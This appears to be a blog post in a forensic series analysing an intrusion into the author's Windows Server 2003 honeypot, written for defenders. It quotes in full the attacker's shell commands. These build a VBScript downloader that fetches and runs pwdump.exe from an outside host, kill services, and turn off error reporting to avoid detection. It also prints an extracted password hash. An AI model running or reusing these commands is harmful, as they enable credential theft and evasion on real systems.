Analyzing an intrusion Part II - Corporal and Environmental

*Please read part I before you read this, otherwise it lacks context*

In the last entry I started by establishing Time-0 using Environmental evidence. Now I'd like to detail some information relating to Environmental evidence and Corporal evidence using Environmental evidence to inform the decision making of the Corporal investigation.

As part of the exploit that overtook my honeypot - A windows server 2003 domain controller running service pack 1, the attacker opened a reverse shell to a different host than the one that exploited my system.

Still using environmental evidence we see the following:
22:09:45.996675 IP 10.10.62.102.2434 > 70.84.11.196.1919: S 1688673751:1688673
751(0) win 65535

At 22:10:17 we see the final RST/ACK between these two systems. So, what happened during that time?
A lot actually and here's the content of the conversation.

if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit


There's a lot going on there. Let's break it down from the top.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield

Ok, pretty simple right? If a file named dbg.0 or x.tmp exists, kill the dns service using taskkill. We know this because the /im flag is to kill a service and /f is force. All output is redirected to the bitbucket. The attacker then tries to stop the mcshield service - which is a Mcafee service. Unfortunately for our friend, there was no mcshield service running as my system replied:

System error 1060 has occurred.


The specified service does not exist as an installed service.


On to the next chunk.
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs

Interesting, with these types of attacks I usually see .bat files being created this way, not vbs. This actually works to our advantage a little bit and I'll show why later. Let's rip the code apart to find out exactly what it tries to do. Adodb.stream provides a method for reading and writing files on a hard drive, so we know this code is going to either send or receive a file. The Microsoft.XMLHTTP object has many uses, one of which is to send a request to a website to update or pull down data. In our case, the next line in the code provides the answer to which this code is attempting to do. We see the GET request for pwdump.exe. Pwdump of course is used to dump the password hashes from the SAM on a windows machine. The code then instructs the system to write the data from the server to a file named pwdump.exe

Now on to the final portion of the commands.

cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit


Again, there's a lot going on here. The vbs script is executed, then deleted. I have yet to test the timing of this code, but one would think that the first line in the registry modification sections listed here wouldn't work.

if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f

So what's going on here? well if pwdump doesn't exist, then use the Microsoft provided work around to plug the vulnerability that this attacker exploited! Brilliant.

This is the reinforcement phase of the attack cycle.

The next set of registry settings confused me at first. It made logical sense as to what was happening, but I'd never seen this before. This is the anti-detection technique I mentioned in Part I that may or may not be new, but it's new to me.

I asked myself what those keys actually do, and why would someone choose to configure them during an intrusion? Taking another trip down google lane, I ended up looking at this document

This document contains a description of the registry keys this attacker changed. The attacker instructs the victim to report All or Nothing(AllorNone), disable error reporting(doreport), exclude Kernel(OS) faults(includekernelfaults), disable Microsoft apps from reporting(IncludeMicrosoftApps), disable Windows apps from reporting(IncludeWindowsApps), disable shutdown reporting - you know the information screen you fill out when you don't shut down properly(IncludeShutdownErrs), and the attacker makes sure that if you're a user sitting at the console you don't see the error message that asks if you want to send the error report to microsoft(ShowUI) .

Very interesting. As I said before, I've never seen this used until now. Pwdump is then executed, dns is killed again(if it happened to have restarted itself I guess), and the script then exits the shell.

All that activity took from 22:09:45 to 22:10:17. That's a mere 32 seconds.

Before we dive off in to the corporal evidence, there's a little more environmental to be looked at. Remember the GET request to www.dit.net? Well, that occured at 22:10:01.

Here's that request and response:
GET /images/pwdump.exe HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.dit.net
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: keep-alive
Date: Sun, 22 Apr 2007 22:08:07 GMT
Content-Type: application/octet-stream
Accept-Ranges: bytes
Last-Modified: Sun, 22 Apr 2007 18:06:33 GMT
ETag: "809a98f5885c71:ade"
Content-Length: 90624
Pay attention to the user-Agent in the request. That's right, the request was made through Internet Explorer because of the ADODB.Stream object and the GET call using XML.HTTP. We can take note of this because we have a place to search when we investigate the victim - The IE history! Also take note that their time is a few minutes off from what we've recorded.

Addendum 4/29
Harlan's link to Robert Hensing's blog post on this subject is well worth the read. I was planning on saving that bit of info for the next post in the series, but Harlan is spot on - We'll find a copy of pwdump and the history of this visit in the temporary internet files and index.dat of the Default User profile.


This stream contained some interesting information about the pwdump.exe binary.
Here's some strings from the transfer:
...%c:\....** LARGEST DRIVE IS %c: WITH %I64uGB **
....SYSTEM\CurrentControlSet\Services\DNS\Parameters....RpcProtocol.DNS.EXE.** UNABLE TO KILL DNS.EXE **
...** DNS HOLE FIXED **
...** UPLOAD MODE **
...Unable to find lsass.exe PID
...Failed enabling Debug privilege. Proceeding anyway
....** PWDUMP PRIVATE MOD **
...** - ONLY DUMP ADMINS **
...** - NO SEPERATE DLL **

hmmm, a private mod of pwdump that only dumps the admin password hash and doesn't require a separate dll. Technically I could recover the binary from the packet capture for analysis, but I'll grab it from the victim.

Needless to say the hash was offloaded at 22:10:01 as we can see here:
Administrator:500:bec4f90f3c1c505caad4b435b51404ee:b5a256f8405decc2d817a6f915db2f0a:::

There was further corroboration from the anomaly detection system regarding the pwdump execution and the beginning of the script that reinforced the attackers control over my system.


At this point, we've established Time-0, and have some information that will inform our investigation of the victim system.

To summarize, we know there was a pwdump.exe transferred and executed. We know a vbs script was created and executed, and we know how the attacker took over and plans on keeping hidden from us.

We suspect that the registry modifications were successful, we also suspect that we can find evidence in places the attacker didn't think of. This is also where we look at anamnestic or behavioral evidence for clues. We know that this system was running a dns server. We also saw the attacker attempt to kill the dns service as well as stop the mcshield service. Given this we should expect to find traces in the event log. We also have a binary to investigate.

There is always the unexpected to take in to account, so the investigation will include everything I can get my hands on.

All told, after the code executed and then exited, the attacker disappeared and has not returned to the system as of today. I can only speculate that they are out there collecting more administrator passwords and cracking them, but this was a drive-by exploitation that took a grand total of 55 seconds from incursion to extraction(18:09:22-18:10:17). Sometimes that's the only window we have to detect a compromise.

I'll continue to examine the corporal evidence and if anyone has thoughts about the errorreporting keys, or if you've seen them used in this manner before, I'm all ears. Thoughts, questions and comments are always welcome.